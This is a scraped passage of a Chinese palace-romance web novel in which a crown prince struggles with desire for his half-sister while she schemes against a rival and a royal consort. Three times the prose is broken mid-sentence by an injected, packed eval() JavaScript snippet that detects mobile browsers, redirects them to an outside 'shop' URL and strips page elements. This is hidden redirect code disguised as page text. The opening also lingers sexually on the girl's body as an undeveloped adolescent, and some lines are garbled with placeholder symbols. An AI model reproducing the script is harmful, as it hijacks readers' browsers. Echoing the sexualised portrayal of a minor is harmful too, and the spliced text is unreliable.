就在三年前的那个夜晚,他将喝得醉醺醺的萧晚滢抱进浴桶之中,湿透的寝衣贴在身上,里侧的小衣轮廓清晰可见,粉色的小衣绣着蝶戏海棠的刺绣,好似印在那白得近乎透明的身体上。 小衣包裹的圆润饱满的形状,属于少女尚未发育完全的青涩。 就像是洁白的画纸上,绘出三月初成熟的樱桃,美丽翩跹的蝶儿驻足停留在樱桃尖上,鲜艳欲滴,诱人品尝。 也是他第一次见到的女子的身体,那还未长开的身体。 这是他第一次意识到,他的阿滢长大了,吾家有妹初长成,转眼已呈娉婷袅娜之态。 他见之不能忘怀,更不能对任何人说,却无数次出现在梦中,无数次让他饱受煎熬,让他生出了悸动,生出了可耻的欲望。 可她是妹妹,他又怎能对自己的妹妹生出那般可耻的念头,否则与禽兽何异。 三年未见,那股欲望不减反增。 即便浸泡在冰水中,也丝毫不见消减。 今日,他和萧晚滢双双坠入浴桶之中,他们更加近距离地湿身相触。 □*□ 名为护她,不让她跌倒,实际上何尝不是克制到克制不住,而生出的妄念。 □*□ 怀中的身娇体软,从内而外散发的一种诱人沉沦的香气。 □*□ □*□ □*□ 他自认为善于压抑控制欲望,极善隐忍。 可这一次,身体却好似出了问题,彻底失了控,即便浸泡在冰块中这么久,仍觉燥热难耐。 他睁开眼睛,哑着嗓音,对辛宁吩咐道:“再加些冰。” 直到浴桶中满是冰块,水面滋滋地往外冒着寒气。 □*□ 他的神色才有了一丝松动。 换了身衣袍,从净室中走了出来。 辛宁发现他的脸色越发苍白了,就连唇也一丝血色也无。 便是性冷如冰的辛宁也忍不住关切地问一句,“殿下的身体还受得住?” 萧珩那本就冷漠疏离的气质更添了一种对世间一切的厌倦和烦躁,疲倦地说道:“无妨。” 辛宁为萧珩上药包扎,萧珩换好衣袍,坐回了案前,单手撑着下颌,仿佛是在闭目养神。 “去查查今夜海棠别院大火。”他停顿了片刻又道:“查查她今夜到底做了什么?孤要知道所有的细节。” 辛宁拱手道:“属下领命。” 萧珩突然睁开了眼睛,“还有,让萧家兄妹明日入宫吧!” 辛宁担心太子伤重未愈,不禁开口提醒道:“殿下今晚又宿在书房?” 未得到回应,辛宁选择默默地退出了书房,替太子掩上了门。 他一身黑衣在夜色中隐去身影,跃至树稍,抱着剑躺在靠在树上,自从三年前,公主醉醺醺地爬上了太子的床榻,自那之后,太子便再也不睡床榻了,不是整夜在书房忙政务,即便去了豫州战场,他也从不上榻。 突然只听见砰地一声响,辛宁看向西华院的方向,心想若是华阳公主知晓崔家小姐入宫,指不定又要做出什么疯狂之事来。 耳力太好也是一种困扰,他抱着剑翻了个身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以当她像孤魂一样在园中游荡的时候,听到冯成口中说出崔媛媛名字的时候,她更加坚信了自己的判断。 冯成摇头,恨不得自己不存在,“奴不知啊!” 萧晚滢冷笑:“那你无端提起崔媛媛作甚?” 冯成不知该如何回答,难道说他希望太子殿下身边有个知心人,能在身边照顾他,他觑着公主带着怒意的脸色,怎敢将心里话说出来。 他明白萧晚滢对萧珩的依赖,担心至亲娶妻,她担心将来萧珩会冷落自己。 可连公主自己也忘了,她和卢二公子亦有婚约在身,而太子殿下也终究会选妃,即便是亲兄妹也不可能一辈子时时刻刻在一起。 “殿下许是听错了,奴没说。” 他只能硬着头皮,咬死不承认。 萧晚滢讽笑,“本宫听到了。” 冯成真想撕了自己这张多话的嘴。 萧晚滢轻抬眼皮,看着他,“你希望太子哥哥娶了崔媛媛?” “奴……并无此想法。”他不过是随口嘀咕了一声崔家大小姐的名字,这小祖宗是如何猜到的,难道她会读心不成? 萧晚滢轻哼一声。 “还是说太子哥哥喜欢崔媛媛?” 冯成看着萧晚滢唇边的笑骤然消失,眼神冰冷似刀,冯成已经汗流浃背,“奴不知。” “嗯?” 萧晚滢的眼神中的杀气尽显,冯成脖子一缩,小心脏怦怦直跳,整个西华院内鸦雀无声,宫女们全都低着头状似鹌鹑,冯成怂怂地说道:“奴觉得殿下应该不喜欢崔小姐。” 这是一句真话,崔家小姐自然百般殷勤,但太子却并非表现出半分欣喜之意,对崔家小姐也并无任何亲近之意。 说完这句话,冯成已经汗流浃背,瘫坐在地上,不停地用袖子擦拭额上的冷汗。 直到青影那女煞神出现在公主身边。 她说道:“公主,奴婢打探到太子殿下召崔家小姐入宫。” 萧晚滢看了冯成一眼,眼神骤然冷了下去,“你的话,本宫一个字也不相信。” 冯成心里一咯噔,着急跟上公主,心想:“完了。” 直到得知崔媛媛再入东宫的消息,萧晚滢顿时便气笑了,还能有什么理由! 萧珩这些年来远离她理由只有一个,为了崔媛媛。 他定是觉得崔媛媛性子乖巧,知书达理,而她性情乖张、恶劣。 他想要的是一个乖巧懂事的妹妹,或是一个守礼的太子妃。 萧晚滢从头上拔下支金簪握在手中。 冯成更是吓得心肝一颤。 只差没跪下抱住她的腿。 公主不会是去找崔家女公子拼命吧? 6.第6章 萧珩又做了那个梦。 他第一次做那个梦,是在大慈恩寺,那是他临去豫州前,师父为他起了一卦,说是此行可虽有磨难,但可逢凶化吉。 自从萧晚滢三岁那年险些被崔皇后淹死,昏迷了整整三日,梦魇了大半个月,一直浑浑噩噩地病着,自那之后,他每年都会去慈恩寺为她求一枚平安符,希望能助她去病消灾,平平安安。 豫州位于燕魏边境,多方势力交织,起义军首领熊平颇得民心,联合各地难民组成的起义军二十万余众,他知此番前去定有一场硬仗要打,非短时间内可返回洛京。 他便也求师父为萧晚滢起了一卦。 当师父写出那卦象中的八字箴言,他面色惨白,在佛像前跪了整整一夜。 那晚他竟做了一个梦,面前是香炉中冉冉升起的香烟,女子侧卧在佛前的香案之上,玉体横陈,脚腕上的金铃铛轻晃,做出无数挑拨引诱的姿态,那清脆悦耳的带着魅惑人心的铃声,久久不歇。 她伸出双手,环抱着他赤裸的后背。 眼前香雾缭绕,耳畔梵音阵阵。 他骤然惊醒。 梦中赤裸相对的男女,竟是他和萧晚滢。他惊得满头大汗,竟一时分不清那到底是梦境,还是他久困魔障,生出的妄念。 隐约听到有人轻唤,“太子哥哥。” 他一瞬间的失神,轻唤出声,“阿滢。” 而等他看清了眼前之人,他眼中骤然暗淡,“是你。” 来的人是崔玉的孪生妹妹崔媛媛,崔家嫡出的大小姐,崔皇后的亲侄女,昨夜得太子召见,今日清早便入宫。 崔媛媛见太子好似被梦魇住了,一时情不自禁,手执巾帕,想要上前为太子擦拭额上的薄汗。 见到太子那双冷而沉的眼眸,为他擦拭的手僵在半空,那满是爱意的眼神也从期待变成了浓浓的失落。 她快速将所有的情绪隐藏,往后退了一步,福身行礼,“媛媛见过太子殿下。” 面前的少女,与她的双生哥哥崔玉生得有八分相似,容貌温婉秀气,清丽可人。 若说萧晚滢如春日园中的牡丹,艳冠群芳,美得明艳张扬,那崔媛媛便是夏日夜里悄然绽放的睡莲,静谧美丽。 萧珩对她印象就是一个“乖”字,她听父亲的话,听老师的话,对于自己也无一句违逆之言。 萧晚滢像个缺乏管练的玩劣孩童,而崔媛媛则乖顺得好似没有脾气。 萧珩垂眸沉思间,崔媛媛正在暗中打量着面前的男子。 三年未见,那张愈发俊美到至极的脸,无法不让人心生欢喜,他身高挺拔,气度卓然,贵不可言,只是眉眼间冷若冰霜,一双眼更似幽深的寒潭,这位年仅二十一岁的少年储君,有着远超年纪的沉稳气度,周身气度令人望而生畏,那种气质反而给她一种致命的吸引力,却又不敢轻易接近。 当崔媛媛得知太子让她和兄长进宫时,她心中的欢喜无以言表。 自她少时第一次见到这位太子表哥,便深深地爱慕着他。 以至于思念了三年之人就在眼前,心中无法克制的欢喜、紧张,急切,内心万般复杂心思一齐涌上心头,她脸颊起了一层薄薄的红晕,柔声说道:“昨日听父亲提及殿下此番出征受伤,臣女忧心忡忡,一直想求父亲让臣女入宫探望殿下,幸得今日殿下召见………” 她的脸越来越红,手中的帕子都捏得皱皱巴巴,“殿下的伤可好些了?” 萧珩淡声应道:“已经无碍了。” 崔媛媛实在猜不透她这位太子表哥的心思,他总是对自己一副不冷不淡的态度,像是高不可攀的雪山之巅,但他身边也没有别的女人,洁身自好到连贴身伺候的只有随从辛宁和太监冯成,连个近身的宫女也没有。 她从小就知道自己将来要嫁之人是大魏皇族,这是世家和皇室间的默契,崔氏为世家之首,她身为崔氏的嫡长女,是注定要嫁给大魏最尊贵之人,放眼整个洛京,能配得上她的也只有大魏的储君。 她从小的梦想便是嫁给表哥成为太子妃,成为未来的皇后,就像姑母崔皇后一样。 但她自认为比起姑母,她幸运的多。 当今皇上妃嫔无数,还曾做出了夺臣子妻的丑事,一生要强的姑母,却不得圣心,只能眼睁睁地看着那些如花朵般的女子一个接着一个的入宫,一颗心早就被凌迟了千百遍,也难怪在小公主夭折后,姑母会承受不住,彻底疯了。 可太子不同,他不好美色,身边连个侍妾都没有,他洁身自好,从不与任何女子亲近,人称圣洁君子,美好的像一块无暇美玉。 唯一与他亲近之人便只有那同父异母的妹妹华阳公主,但华阳与卢家有婚约,公主早晚要嫁人的,崔媛媛在心中安慰自己,太子不过是性子冷了些,但太子不主动,她可以主动。 于是,崔媛媛鼓起气勇气道:“得知殿下受伤,臣女恨不能替殿下分忧,只能做些力所能及之事,为殿下祈福抄经,臣女听说万福寺的平安符灵验,臣女特意去为殿下求得了这枚平安符。” 她从贴身带着的荷包中拿出平安符,手臂轻抬,双手将那平安符奉上。 太子并未去接。 崔媛媛的侍女朝露,没忍住,红了眼圈,“小姐得知殿下受伤,夜不能寐,只恨不能替殿下多受些苦,连夜抄了十卷经书,在万福寺跪了一整夜,连眼睛都熬红了,殿下就接受小姐的心意吧!” 萧珩抬头看向崔媛媛,视线扫向她因为抬高,露出的半截手腕,眼神中的冰冷却并未消减半分。 就在这时,“砰”地一声,宫门被人一脚踹开。 崔媛媛朝门外望去,只见华阳公主一身红衣,张扬如火,浓颜绝色,眼神不善。 紧跟在萧晚滢身后,瑟缩着脖子的冯成心肝都为之一颤,身体都不由自主的抖了抖。 他一路跟来,苦口婆心劝公主要冷静,可公主却不闻不听,怒气冲冲地往太子的书房闯,被守卫阻拦之后,她竟然让青影制服了门口的守卫,一脚踹了书房的门。 见到崔家小姐献平安符,对太子一番表真心的肺腑之言。 “完了。”冯成赶紧捂住眼睛,真不敢想这小祖宗一怒之下,会做出怎样的事来。 可转念一想,崔大小姐是出了名的知书达理,温柔大度,她应该会有容人的雅量,不会与华阳公主计较吧! 萧晚滢见到崔媛媛,面色一冷,心中想的是太子哥哥不能容她,果然是因为崔媛媛,他要将她赶出西华苑也是因为崔媛媛。 眼神相对间,似有无数火花乱撞, 对于萧晚滢的突然闯入,崔媛媛也吓了一跳,趁机将献上护身符的那双手缩了回去,又赶紧拉下广袖,遮住了那截雪白的皓婉。 萧晚滢睨了崔媛媛一眼,当即心领神会。 呵!好一个外表单纯无害,却满腹算计的崔家大小姐。 便明知顾问地说道:“如今豫州和徐州正逢旱灾,洛京涌入了不少难民,崔家做为世家之首,听说崔相正联合八大世家捐献赈灾银,想必啊!这崔家人都生的一副菩萨心肠,崔大小姐定是不忍难民受苦,割血为民祈福?对吗?” 崔媛媛哑然,她手腕上的刀痕,确是她以血抄经,为的只是让太子看到她的真心,并非是为了难民。 她适时献上护身符,再将手腕上的伤露出来,是让太子看见,既不会显得过分刻意,又能让太子知晓她的一片良苦用心。 但没想到华阳公主竟如此刁钻,一眼看清她的心思。 若回答是,她又不甘心自己的一片苦心付之东流,若回答不是,表明她割血是为太子,又显得她过于心机深重。 她一时竟不知该如何回答。 而萧晚滢也并未给她多思的机会,继续逼问:“不会是崔大小姐看多了杂书话本,真的信了那为心上人割血抄经入药,便能得到男人真心的荒谬之言吧?” 崔媛媛脸色一白,着急解释,“殿下,臣女不是的。” 萧晚滢轻轻勾唇,冷笑道:“崔姐姐,你说不是什么?你是想说崔家人都是道貌岸然的伪君子,而你为崔家长女也根本没考虑那些难民的死活?还是你相信那些无聊话本,实是愚不可及?” 崔媛媛慌乱解释,额上已经冷汗岑涔,“我不是,我没有。” 萧晚滢的一番话,定会让太子觉得她是心机深沉,耍手段接近太子之人,手中的那枚护身符便成了她挖空心思,大献殷勤,处心积虑接近太子的证据。 她只得将攥在手心里的那枚皱巴巴的护身符又悄悄塞回荷包之中,只觉如芒刺在背,手足无措,想解释却又不知该如何开口,急的眼泪在眼眶里打转。 而这时,萧珩突然开口了,冷眸看向萧晚滢,“你来做什么?” 崔媛媛向萧珩投去感激的眼神,太子定是不忍看她难过,特意为她解围,看来萧珩并非对她的心意全然视而不见。 而萧晚滢也因为萧珩为崔媛媛解围,眼神突然冷了下来。 萧晚滢面上笑意不改,她只是静静地看着萧珩,那笑却没有几分温度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804625|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯成大气也不敢出,总觉得这是暴风雨来临前最后的平静。 三年前,华阳公主便是因为崔家大小姐入东宫伴读之事与太子大吵一架,用那璎珞项圈砸伤了太子。 三年前后,同样的人,同样的场景,同样的剑拔弩张。 冯成心中紧张不安,生怕萧晚滢再次做出什么伤害皇储的过激举动,四处寻找辛宁的身影,心想辛宁跑哪去了,这个关键时刻,不留下护主,到处乱跑作甚!真是愁死人了! 还真是越怕什么便来什么。 清晨的阳光照进大殿中,为萧晚滢的身后笼罩着一层薄薄的光晕。 他的眼睛好像被有什么东西闪了一下,那是萧晚滢手里握着一支锋利的金海棠花钗。 糟了。 冯成急的像热锅上的蚂蚁,辛宁不在,那他便只能舍身取义,拼了这条老命保护殿下,在华阳公主出手时,英勇无畏地挡住她的奋力一击。 他暗暗挪动身体,侧身挡在萧晚滢和太子之前,并绝望地闭上了眼睛,做出一副英勇就义的准备。 但预想之事并未发生,萧晚滢突然笑了起来,而后乖巧地退后,跪下,对太子行跪拜大礼。 “阿滢自然是来给太子哥哥请安的呀,太子哥哥万安!” 冯成彻底松了一口气,但又很快意识到这不对劲,华阳公主何时变得这般乖巧懂事了? 事出反常必有妖,他预感表面越平静就表示有大事发生。 萧珩淡淡地应了声:“阿滢如今也知礼数了,孤甚感欣慰。” 这是以长辈对小辈的口吻说出了这番话,语气生疏,萧珩甚至连看都没看她一眼。 “好在昨夜救火及时,火势并未蔓延,朝华殿并未受到影响,正好孤要派人去告诉你,孤与你约定之期已到,今日便离开吧!” 只是昨夜一场大火,几乎将海棠别院烧的精光,那些他曾经亲手种下的海棠花树,也在一夜之间被付诸一炬,就像是他心底那见不得光的阴暗心思,曾经留下的点点痕迹,也被一场大火焚烧殆尽。 既然是错误,那便不被允许发生。 崔媛媛本就恨极了萧晚滢的突然出现,打断她对萧珩诉说衷肠,又恨被华阳戳穿了心思,让她下不来台,见太子又要赶萧晚滢走,她自是窃喜万分。 既然太子允她住在东宫,那她便借此机会,一举拿下太子,让太子答应了和她的亲事。 萧珩的话,让冯成的心弦再次绷紧,他暗自觑向萧晚滢,只见她袖中的手骤然握紧,俨然就要爆发。 公主已经收敛了脾气,已经服软了,殿下何苦步步紧逼,离开东宫之事就不能徐缓图之吗? 他们兄妹非要闹到如此争锋相对的地步吗? 萧晚滢问道:“太子哥哥,当真要赶阿滢走?” 萧珩抬眼,“男女有别,你自是不方便再留在东宫。” 萧晚滢指向崔媛媛,“那她呢!” 崔媛媛压了压暗自上扬的嘴角,“公主,太子表哥也是为你着想,臣女知晓你和太子表哥兄妹情深,不舍得和兄长分开,但女子终究是要嫁人的,殿下也是为了公主的清誉着想,公主可千万不要误会了,表哥那也是关心你。” “本公主素来我行我素惯了,最不服从管教,更不喜人说教,”萧晚滢冷哼一声,“阿滢素来性子骄纵,不过嘛,这都是兄长娇惯出来的。” 冯成幽幽望向太子,嘴角微微抽搐,其实华阳公主这句话说的没错。 因为她从小被崔皇后折磨,萧珩自觉对她心中有愧,对她无有不应,冯成想到小时候每一次萧珩从崔皇后的手里护下萧晚滢,都差点被打得丢了小命,这不正因为,只有极度的喜欢,才会极度的偏爱吗? 华阳公主之所以如此肆无忌惮,不正是因为萧珩的这份偏爱吗? “崔大小姐,你若要教训本宫,还是等顺利嫁入东宫再说。” “还有男女有别,崔大小姐频繁入宫,全然不在乎自己的清誉,可是觉得萧珩他非你不娶了?” 萧晚滢故意讽刺,崔媛媛气得咬牙,“你……你。” “好了。”萧珩冷声道:“辛宁,送华阳公主回朝华殿。” 正在这时,宫人急忙前来通传,“刘贵妃求见太子殿下——” 辛宁也终于出现,对萧珩耳语道:“刘贵妃是为了华阳公主而来。” 而守在书房外的珍珠听到侍卫的通传,差点吓得跌跪下去,刘贵妃只怕是来兴师问罪的。 糟了,四皇子的死恐怕瞒不住了。 7.第7章 见华阳公主从太子书房出来,珍珠焦急追上去,“公主,殿下可许您继续留在西华院?” 萧晚滢摇了摇头。 萧珩铁石心肠,竟坚持要赶她出东宫。 她设计杀四皇子之时,便已经想到将来要应对刘贵妃的雷霆之怒。 按计划,她只需在东宫再多留一日,撑到宫外的消息传来,撑到萧睿的尸体被发现,她自有办法全身而退。 可少了萧珩配合的这一环,便会功亏于溃。 而这时,崔媛媛也出了书房,着急追出来,为了看萧晚滢的笑话。 就算萧晚滢发现她用了一些心机手段讨太子欢心,即便华阳再聪慧又如何?这场暗中的较量,到底是她更胜一筹,太子到底还是维护她的。 萧晚滢却并未多看崔媛媛一眼,最后看了一眼书房。 此刻正值清晨,几缕朝阳透过花枝的缝隙斑驳地洒向门内,书房内却仍是晦暗不明,但可以想象萧珩那张决绝而冷漠的脸。 萧晚滢突然转身,高声道:“这些年,阿滢与太子哥哥相依为命,若非太子哥哥屡次相护,阿滢早就已经死了!” 话只说了一半,萧晚滢突然跪下,“阿滢今日拜别太子哥哥!” 她以额触地,重重地磕在地上,发出三声沉闷的声响。 “与其被人侮辱,被人践踏,今日阿滢便将这条命还给太子哥哥!” 而后,她起身,将手搭在珍珠的手臂上,从容说道:“走吧。” 虽是转身离开,但每一步都走得很慢,就像是在等什么。 听说刘贵妃来东宫要人,冯成心急如焚,他自小被送进宫中当太监,如今年过半百,见了太多宫里的那些龌龊的手段。 刘贵妃恨极了继后,自然痛恨继后所生的萧晚滢,来者不善,他忧心不已。 冯成突然想到了什么,面带惊恐,声音都变了,“殿下,公主怕是想要鱼死网破!您知道公主的性子,宁为玉碎,不为瓦全。” “公主手里还握着一根金簪。” 原来从一开始,华阳公主手中的簪子便是冲着刘贵妃来的,她早就料到萧珩不会留她,做好了和刘贵妃玉石俱焚的打算。 “慢着。” * 终于那道熟悉而冰冷的声音自身后传来。 萧晚滢暗自勾唇,桃花眸中漾起了笑意,但她并未停下,而是往宫门走去。 昨夜她约萧睿去海棠别院,自知瞒不过宫中众人,即便刘贵妃没有证据,但以她如今在宫里的地位,便可以此先扣下她,当初她便是提前想到了这一点,才要千方百计留在东宫,留在萧珩身边。 若落到刘贵妃手里,生不如死。 她赌萧珩会对她心软,在最后关头,他会低头,终究还是她赌赢了。 她故意装作没听见,因为她不仅要留下,她还要让萧珩心甘情愿,求着她留下,这里是她的家,有太多属于她和兄长的儿时的回忆,她绝不会离开。 听到萧珩的声音,她故意忽略身后急促的脚步声,反而加快了脚步。 直到身后之人追上了她,突然被人拦腰抱起。 萧晚滢疯狂地挣扎,“萧珩,你放开我!” 他不是为了崔媛媛要赶她走吗?这又算什么? 打一巴掌,再给个甜枣? “别动。在孤还没后悔让你留下之前,不要动。” 萧晚滢紧紧抿唇,那双明眸中满是倔强,她突然发狠一口咬在他手腕的伤口之上,两排牙印重合,那快要结痂的伤口,再次被咬破,血流不止。 萧珩却浑然不觉得痛,也并未挪动分毫,任由她发泄完,等她松了口,这才将萧晚滢按回怀中,语气稍软了些,“现在的局面你根本无法应对,趁孤还未改变主意,就安分点。” “什么局面?我为何无法应对,不要你管。”反正他方才都在为崔媛媛说话,不忍看崔媛媛为难,挺身而出为她解围。 萧珩道:“你做的那些事,逃不过孤的眼睛。” 萧晚滢丝毫不感到意外,自从她在海棠别院放了一把火,找上萧珩,她就知道萧珩定会查到她到底做了什么,一夜过去,该查到的萧珩必定都已经查清,毕竟萧珩是魏帝众多儿子中最优秀的那个,智计无双,无所不能。 萧珩是什么人,只靠自己独自一人就能躲过明枪暗箭,稳坐太子之位,让魏帝都忌惮三分。 正因如此,她才要想方设法留在东宫,只要她能留下,刘贵妃再神通广大,没有太子的应允,她也进不得东宫半步。 骄傲如刘贵妃,也只能老老实实在东宫宫外求见。 萧晚滢也不再与他遮掩,骄傲地昂头,“此事刘贵妃不会善罢甘休,难道你能护我一辈子吗?” 萧珩没有回答,在她不再闹腾之后,抱着她,去往西华院。 萧晚滢闻到那股令人安心的熟悉的竹叶清香,她便像刺猬收起了尖刺,乖巧地靠在萧珩的怀中。 而崔媛媛原本期待萧晚滢被太子赶出去,期待他们兄妹彻底决裂,可没想到太子竟又将萧晚滢抱去了西华院,嘴角的笑意荡然无存,连忙去唤萧珩,还未来得及开口,他已经走出了很远,崔媛媛死死地盯着萧氏兄妹远去的背影,手中的帕子都快要绞烂了。 虽说兄妹之间亲近些原也没什么,可她就是觉得这一幕很是刺眼,或许是因为方才太子的态度,尽管他表面上看起来仍是那般冷漠疏离的模样,可举止动作却极温柔,就连被萧晚滢咬伤,他也不忍心责备,甚至连眉头都没皱一下。 萧珩唯一的偏爱,却偏偏给了萧晚滢。 萧晚滢不能再留在西华院了。 崔媛媛望着萧晚滢远去的背影,苦思计策,转身往萧珩的书房走去。 她先是焦急地在门前寻找什么,对朝露使了使眼色,朝露立刻上前,对门口的守卫说道:“我家小姐送给太子殿下的护身符丢了,你们也帮忙一起找找。” 守卫奉命守着书房,不会离开半步。 见守卫迟疑,朝露又道:“你们难道不知,我家小姐将来可是要嫁给太子殿下的,怎么连太子妃的一点小小的吩咐,你们都不听?” 守卫赶紧跪下,“属下不敢,这就为崔大小姐寻找护身符。” 崔媛媛勾唇一笑,随意往远处一指,道:“那边还没找过,你们去那边看看。” 她让朝露守在屋外,自己则进了书房。 昨夜得知太子召她入宫,今日一早,她便欢喜的赶来见太子,那时,太子不知被什么梦魇住了,她记得那时太子唤了声“阿滢”。 想到萧晚滢,她的眼神一沉,心中烦躁不已。 她记得那时太子还做了一个举动,匆忙将桌案上的画一卷,往一旁的青釉瓶中塞去。 崔媛媛本就是敏感之人,极善于察言观色,加之她对萧珩近乎疯狂的喜爱,更是对他的一举一动都极度关注,尽管萧珩的神色看不出一丝破绽,但她就是隐隐觉得那幅画定然有什么不对劲。 她偷偷溜进书房,将那幅画从瓷瓶中抽出来,悄悄放进袖中,出了书房,将荷包中的护身符拿出来,满是歉意地对守卫说道:“都怪我,我还以为这护身符弄丢了,原来是被我收起来了,还好这护身符还在,这是对我来说是比生命还要重要之物。” “朝露,将赏赐拿给他们,忙前忙后帮我找了那么久,我实在过意不去。” 朝露将金叶子分给两名守卫,笑道:“多谢两位大哥。有劳了。” 待崔媛媛走远后,两位守卫喜笑颜开,小声议论着。 “没想到这崔家的大小姐贵为世家小姐,竟连一点架子也没有。” “是啊,好在不似华阳公主那般的脾气骄纵暴躁,不然,待太子娶妻,咱们可有得罪受了。” “可别说了,青影下手可真狠,我的脸这会子还肿着呢!” “好在太子殿下已经下令让华阳公主离开西华院,她可算是能消停了。” 崔媛媛听到那议论之声,喜不自胜,垂眸遮挡眼中的笑意,方才的阴霾一扫而空。 * 萧珩抱着萧晚滢径直去往西华院。 他将的萧晚滢小心翼翼地放在贵妃榻上,“不许离开西华院,更不许闯祸。” 萧晚滢也不说话,只冲他笑。 突然,她起身,惦着脚尖,轻轻地拥住了萧珩,“只要哥哥不离开阿滢,不赶阿滢走,阿滢每天都乖乖的,好不好?” 萧珩被她抱着有些僵,将她的手抽开,“惯会讨好卖乖。” 以前往往此时,萧珩都会宠溺地说:“下次还不是照样惹祸。” 而萧晚滢就会同他撒娇,“这不是有哥哥在嘛。” 可萧珩此刻却冷冰冰地戛然而止,表情也有几分不自然,萧晚滢轻轻蹙眉,微眯眼眸,三年前到底发生了什么,萧珩心里又藏着怎样的秘密。 “不是有哥哥在嘛?哥哥会永远保护我的,对吗?” 正在这时,辛宁赶紧前来回禀,“太子殿下,刘贵妃已经等的不耐烦了,若您再不去,属下看那架势,怕是要硬闯了。” 萧珩突然起身。 “孤去看看。” 出了西华院,萧珩吩咐守卫道:“守着华阳公主,寸步不离,若是让公主出西华院半步,便军法处置。” 当门被关上,院子被一队训练有序的侍卫接管,萧珩不愧是领兵打仗的主帅,军纪严明,就连这些东宫侍卫都是井然有序,精神抖擞,步伐有力。 萧晚滢才觉自己上当了,她就说萧珩不会如此好说话,他虽然没赶她走,却将她关在了西华院,做出假意妥协的姿态,原来是在这里等着她呢。 他是有多恨她靠近自己啊! 在她发怒之前,一群守卫进入她的房间,将所有尖锐之物都收走了。 萧晚滢气萧珩太了解她。 气狠了,她将桌案上的摆件全都拂落在地,用力拍打着门,“本宫命令你们开门!” 为首的肖校尉人高马大,门神似的守在门口,声若洪钟,“若无太子殿下旨意,属下不敢擅自做主。” 萧晚滢气得咬牙,“本宫砍了你的头!” “回禀公主殿下,便是公主砍了属下的头,宫里还有五千禁军顶上,城外西北大营还有五万将士,公主是砍不绝的,公主金枝玉叶,怕会手酸。” 萧晚滢气笑了,“不愧是萧珩带出的兵,跟他一样的奸诈。” 肖校尉一本正经地道:“谢公主夸奖。” 萧晚滢咬牙,唤青影。 却始终不见青影出现。 这时,门外传来了萧珩的声音,“萧晚滢,你若不听话,执意乱跑,但便由青影替你来承担责罚。” “废去武艺,押送掖庭!” 屋内果然消停了。 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811564|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩太过了解她,亦知道她的软肋。 青影是自己送给她的暗卫,是她最忠诚的随从,萧晚滢从小缺少家人的关爱陪伴,她珍惜身边每一个人,青影于她而言,就像是从小与她一起长大的姐妹,比亲姐姐还亲。 昨夜青影差点死在了陆元手下,却还是执着地拿命一搏。 是萧晚滢忘了,萧珩是大魏的储君,是历来大魏王朝,最具威仪,杀伐决断的皇储,亦是能在战场上扭转乾坤的战神神话。 出了西华院,萧珩的脸色便冷了下来。 东宫宫门的守卫也已经快要抵挡不住了,赶紧前来回禀太子。 贵妃刘玉娥是魏帝潜邸的老人,十四岁便入了王府,为魏帝生下了平南王萧隼和四皇子萧睿,以及三公主萧姝。 身居贵妃之位,已是很多人一辈子都做梦都不敢想的尊荣,虽说母凭子贵,可皇后之位,却始终可望不可及,她并非出身世家,没有崔皇后那般显赫的家世,崔氏虽后她入宫,却越过她,成了皇后。 后来崔氏疯了,刘玉娥便想着至此终于能扬眉吐气。 可没想到在一次宫宴之上,魏帝见到了那个为之疯狂了一辈子的女人,尽管那个女人已经嫁为人妇,他还是使了手段将那女子强抢入宫。 那个女人就是萧晚滢的母亲傅兰若。 那女人太美了,美到极致,也魅到极致,性子柔弱到了极致。 魏帝对她的宠爱超过了所有人,与她形影不离,每晚都召她侍寝,为她荒废朝政,整日沉溺在温柔乡,尽管她并非出生世家,但还力排众议给了她皇后之位。 那一刻刘玉娥这才明白,什么家世出身,全都是借口,若真心爱一个人,什么都愿意为她去做,只要魏帝愿意,便可让那个女人当皇后,但那个女人的身体太弱了,太医说她是忧思过重,终于还是熬不过死了。 刘玉娥想不明白,帝王独宠她一人,又有何好忧虑的,说到底不过是无福之人罢了。 不过她们疯的疯,死的死,无人再能挡她的道,后宫也终于能轮到她做主了。 继后生的那个小妖女,美貌比继后还要美貌三分,天生一副祸水模样。 萧睿觊觎萧晚滢,刘玉娥是知道的,儿子玩的花,可睿儿贵为皇子,多几个侍妾也没什么,她也是睁一只眼闭一只眼,还为他在皇帝面前遮掩。 再说龙生九子各有不同,她已经有了萧隼那样那般优秀的儿子,总不能奢望人人都如同萧隼那般,聪明多智,她不能不知足,要求萧睿和萧姝兄妹都成为如长子萧隼那般的人中龙凤。 她将所有的希望都寄托在长子的身上,对萧睿唯一的要求就是不要为他哥哥惹麻烦,将来阻碍萧隼的前途。 可当她得知昨晚萧睿一夜未归,一场大火将海棠别院烧的精光,她的心惴惴不安,总觉得有什么大事发生。 往常萧睿也常常溜出宫去,好几天都在外鬼混,但昨夜,她总觉得心里不踏实。 她赶紧派人去找,去萧睿常去的酒楼,赌场和青楼,都没有他的踪影。 她慌了,将萧睿宫里人上上下下都拷打逼问了一番,终于问出,萧睿昨夜去了海棠别院。 